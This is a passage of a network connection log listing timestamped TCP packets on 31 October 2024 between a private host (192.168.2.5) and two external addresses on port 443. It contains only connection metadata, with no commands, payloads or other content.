Oct 31, 2024 01:18:33.365935087 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.365963936 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.365963936 CET	49789	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.365983009 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.365993977 CET	443	49789	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.368738890 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.368781090 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.368889093 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.369108915 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.369124889 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.386686087 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.386790037 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.386857986 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.387006998 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.387063026 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.387098074 CET	49790	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.387114048 CET	443	49790	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.389822960 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.389861107 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.389945984 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.390139103 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.390151978 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.400836945 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.401027918 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.401108980 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.401160002 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.401160002 CET	49791	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.401179075 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.401200056 CET	443	49791	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.403146029 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.403211117 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.403404951 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.403703928 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.403732061 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.407551050 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.407676935 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.407953978 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.408999920 CET	49792	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.409010887 CET	443	49792	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.411528111 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.411571026 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.411699057 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.411809921 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.411823034 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.426892996 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.427030087 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.427279949 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.427428007 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.427428007 CET	49793	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.427437067 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.427444935 CET	443	49793	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.429683924 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.429753065 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:33.429869890 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.430042982 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:33.430075884 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.099533081 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.100080013 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.100105047 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.100841999 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.100847006 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.133903980 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.135417938 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.135442972 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.135902882 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.135906935 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.144043922 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.146058083 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.146074057 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.146080017 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.146553040 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.146555901 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.156784058 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.156801939 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.157263041 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.157269955 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.160985947 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.161346912 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.161353111 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.161757946 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.161761045 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.230557919 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.230755091 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.230809927 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.231178999 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.231195927 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.231204987 CET	49794	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.231209993 CET	443	49794	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.234987020 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.235025883 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.235093117 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.235224009 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.235236883 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.265824080 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.266093016 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.266566992 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.270807981 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.271245003 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.271302938 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.274050951 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.274061918 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.274072886 CET	49795	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.274076939 CET	443	49795	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.275583029 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.275593042 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.275604963 CET	49796	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.275610924 CET	443	49796	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.284017086 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.284236908 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.284308910 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.289135933 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.289165974 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.289560080 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.289727926 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.289917946 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.289962053 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.289979935 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.289983034 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.290002108 CET	49797	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.290009022 CET	443	49797	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.291491032 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.291493893 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.291506052 CET	49798	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.291508913 CET	443	49798	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.293057919 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.293070078 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.294336081 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.294358969 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.295226097 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.295495987 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.295511007 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.296766996 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.296776056 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.296874046 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.297210932 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.297221899 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.298106909 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.298115969 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.298158884 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.298347950 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.298355103 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.961796045 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.963469028 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.963495016 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:34.964778900 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:34.964786053 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.017776012 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.035346031 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.039076090 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.064285040 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.072171926 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.080713034 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.080851078 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.087241888 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.087241888 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.087265015 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.087287903 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.087666035 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.087672949 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.088090897 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.088104963 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.088427067 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.088670015 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.088962078 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.089036942 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.089054108 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.089082956 CET	49799	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.089091063 CET	443	49799	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.093828917 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.093837023 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.094316959 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.094321012 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.112529993 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.112535000 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.113095999 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.113100052 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.213629007 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.213767052 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.213872910 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.218611956 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.218794107 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.218907118 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.220644951 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.220695019 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.220783949 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.242454052 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.242657900 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.242742062 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.287477016 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.287477016 CET	49800	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.287504911 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.287525892 CET	443	49800	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.288458109 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.288458109 CET	49803	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.288486958 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.288497925 CET	443	49803	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.288661003 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.288661957 CET	49802	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.288676977 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.288688898 CET	443	49802	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.290175915 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.290175915 CET	49801	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.290183067 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.290194035 CET	443	49801	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.371159077 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.371212959 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.371675014 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.388190985 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.388221025 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.410151005 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.410170078 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.411575079 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.414550066 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.414596081 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.414808989 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.491368055 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.491379976 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.491549015 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.492305994 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.492316961 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.493807077 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.493830919 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.565881968 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.565898895 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.628551960 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.628583908 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:35.628822088 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.805948019 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:35.805967093 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.114249945 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.158221006 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.218188047 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.234700918 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.267412901 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.283046007 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.309138060 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.361167908 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.489599943 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.489619970 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.490353107 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.490358114 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.490731001 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.490752935 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.491120100 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.491126060 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.491708994 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.491720915 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.492180109 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.492183924 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.492535114 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.492547035 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.493006945 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.493026018 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.542711020 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.587404966 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.615582943 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.615777969 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.615935087 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.617364883 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.617883921 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.617944002 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.617985010 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.618063927 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.618102074 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.620857000 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.620903969 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.620958090 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.653654099 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.653671980 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.654267073 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.654273987 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.654443979 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.654467106 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.654479980 CET	49807	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.654485941 CET	443	49807	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.654587984 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.654617071 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.654632092 CET	49806	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.654639959 CET	443	49806	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.665863991 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.665863991 CET	49804	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.665888071 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.665900946 CET	443	49804	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.668652058 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.668661118 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.668672085 CET	49805	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.668677092 CET	443	49805	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.780993938 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.781155109 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.781239033 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.954462051 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.954488039 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.954500914 CET	49808	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.954507113 CET	443	49808	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.968777895 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.968830109 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:36.968928099 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.995104074 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:36.995141983 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.007745981 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.007790089 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.007858992 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.008871078 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.008883953 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.016073942 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.016103983 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.016252995 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.016398907 CET	49813	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.016413927 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.018311977 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.018322945 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.018385887 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.023205996 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.023225069 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.023530006 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.024452925 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.024462938 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.024832010 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.024847984 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.070477962 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:37.070508957 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:37.070573092 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:37.071155071 CET	49818	443	192.168.2.5	94.245.104.56
Oct 31, 2024 01:18:37.071165085 CET	443	49818	94.245.104.56	192.168.2.5
Oct 31, 2024 01:18:37.726980925 CET	443	49809	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.743395090 CET	443	49812	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.762840986 CET	443	49813	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.762926102 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.767019033 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.799361944 CET	49809	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.799371004 CET	49812	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.844844103 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.844861984 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.845757008 CET	49814	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.845762014 CET	443	49814	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.848469019 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.848496914 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.849098921 CET	49815	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:37.849104881 CET	443	49815	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:37.849528074 CET	49809	443	192.168.2.5	13.107.246.45
